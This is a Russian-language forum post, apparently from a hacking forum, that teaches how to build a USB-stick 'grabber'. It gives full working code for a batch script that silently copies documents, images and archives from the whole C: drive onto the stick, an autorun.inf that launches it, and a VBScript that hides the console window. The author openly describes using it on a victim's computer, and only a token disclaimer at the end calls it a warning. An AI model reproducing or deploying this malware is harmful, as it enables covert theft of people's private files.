Автоматический граббер файлов на флешке

Привет!
Я продолжаю разбирать свою папку с проектами, найдя в ней интересный (нет) вариант граббера в флешке​

И так, приступим:
Что он грабит, зачем он вообще нужон?

Мемчик, мне показалось, в тему

Так во-от.. Эта штука собирает со всего компьютера файлы с расширениями
*.doc *.pdf *.xls *.jpeg *.tif *.txt *.ppt *.mp4 *.mpeg *.rar *.zip *.psd *.cdr
Человеку нужен был туториал, вот выкладываю для всех​

Готовый архивчик со файлами можно найти туть

VirusTotal`ы

main.bat
hide.vbs
autorun.inf

Его достаточно разархивировать на флешку, поставить всем файлам атрибут скрыт, вуаля

======================================================================================================================================
======================================================================================================================================
​

Ну, а если вы очень додельные, хотите сделать все сами, то едем дальше:

Делаем main.bat (мозг граббера)

Создаем main.bat на флешке, убеждаемся что у нас включен просмотр скрытых файлов и папок тут ->
(У меня слегка другой проводник, не пугайтесь, в дефолтном он находится во вкладке "вид")
В общем, идем в main.bat, прописывая в него такой код:

Делаем main.bat (мозг граббера)

@echo off
set "destination_folder=%~dp0JustFolder"

for /r C:\ /d %%d in (*) do (
for %%i in ("%%d\*.doc" "%%d\*.pdf" "%%d\*.xls" "%%d\*.jpeg" "%%d\*.tif" "%%d\*.txt" "%%d\*.ppt" "%%d\*.mp4" "%%d\*.mpeg" "%%d\*.rar" "%%d\*.zip" "%%d\*.psd" "%%d\*.cdr") do (
copy "%%i" "%destination_folder%\"
)
)

Код

@echo off

set "destination_folder=%~dp0JustFolder"



for /r C:\ /d %%d in (*) do (

   for %%i in ("%%d\*.doc" "%%d\*.pdf" "%%d\*.xls" "%%d\*.jpeg" "%%d\*.tif" "%%d\*.txt" "%%d\*.ppt" "%%d\*.mp4" "%%d\*.mpeg" "%%d\*.rar" "%%d\*.zip" "%%d\*.psd" "%%d\*.cdr") do (

      copy "%%i" "%destination_folder%\"

   )

)

По желанию, можете добавить свои расширения файлов, которые будут вороваться в 5 строчке, по алгоритму

​

- Окей, создали... А что дальше?
Ну, создадим папку justFolder и так же скроем ее.
- Да не, я не про это! Что делать с консолью при открытии, она не скрывается, да и на флешке ничего не запускается!
Спокойно. Щас все будем делать по порядку:

Делаем autorun.inf (автоматический запуск граббера)

Все те же операции, создаем, скрываем, редактируем, вставляем код:

Делаем autorun.inf (автоматический запуск граббера)

[autorun]
open=hide.vbs

Код

[autorun]

open=hide.vbs

Спокойно, не страшно, что у нас еще нет это хайд.вбс, скоро сделаем!

​

- Так, давай уже скроем эту бесящую консоль, она меня прямо раздражает!
Без проблем, читаем дальше:

Скрываем наш скрипт при помощи .vbs

Пора становиться ассасинами, скрываясь на компьютере жертвы!
Я думаю, мне не нужно повторять алгоритм работы создания файла, да? Прекрасно!
- ...
Кидаем в hide.vbs вот такой вот кодик:

Скрываем наш скрипт при помощи .vbs

Set WinScriptHost = CreateObject("WScript.Shell")
strCurrentDirectory = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")
strScriptPath = strCurrentDirectory & "\main.bat"
WinScriptHost.Run Chr(34) & strScriptPath & Chr(34), 0, false
Set WinScriptHost = Nothing

Код

Set WinScriptHost = CreateObject("WScript.Shell")

strCurrentDirectory = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")

strScriptPath = strCurrentDirectory & "\main.bat"

WinScriptHost.Run Chr(34) & strScriptPath & Chr(34), 0, false

Set WinScriptHost = Nothing

Все это скрываем, кидая на флешку​

Ура! Мы сделали это!
Теперь, вставляя эту флешку в компьютер точно не своей жертвы, мы собираем все файлы в одну удобную папку на флешке.

Страшные буквы и дисклеймер в конце

Я не несу ответственность за ваши действия, статья написана только для предостережения пользователей от попадания в ловушку таким не хитрым способом.

и да, у меня раздвоение личности в темах, я конченый, бегите​

Спасибо за прочтение темы!​

Мой телеграм с моими чекерами и исходниками​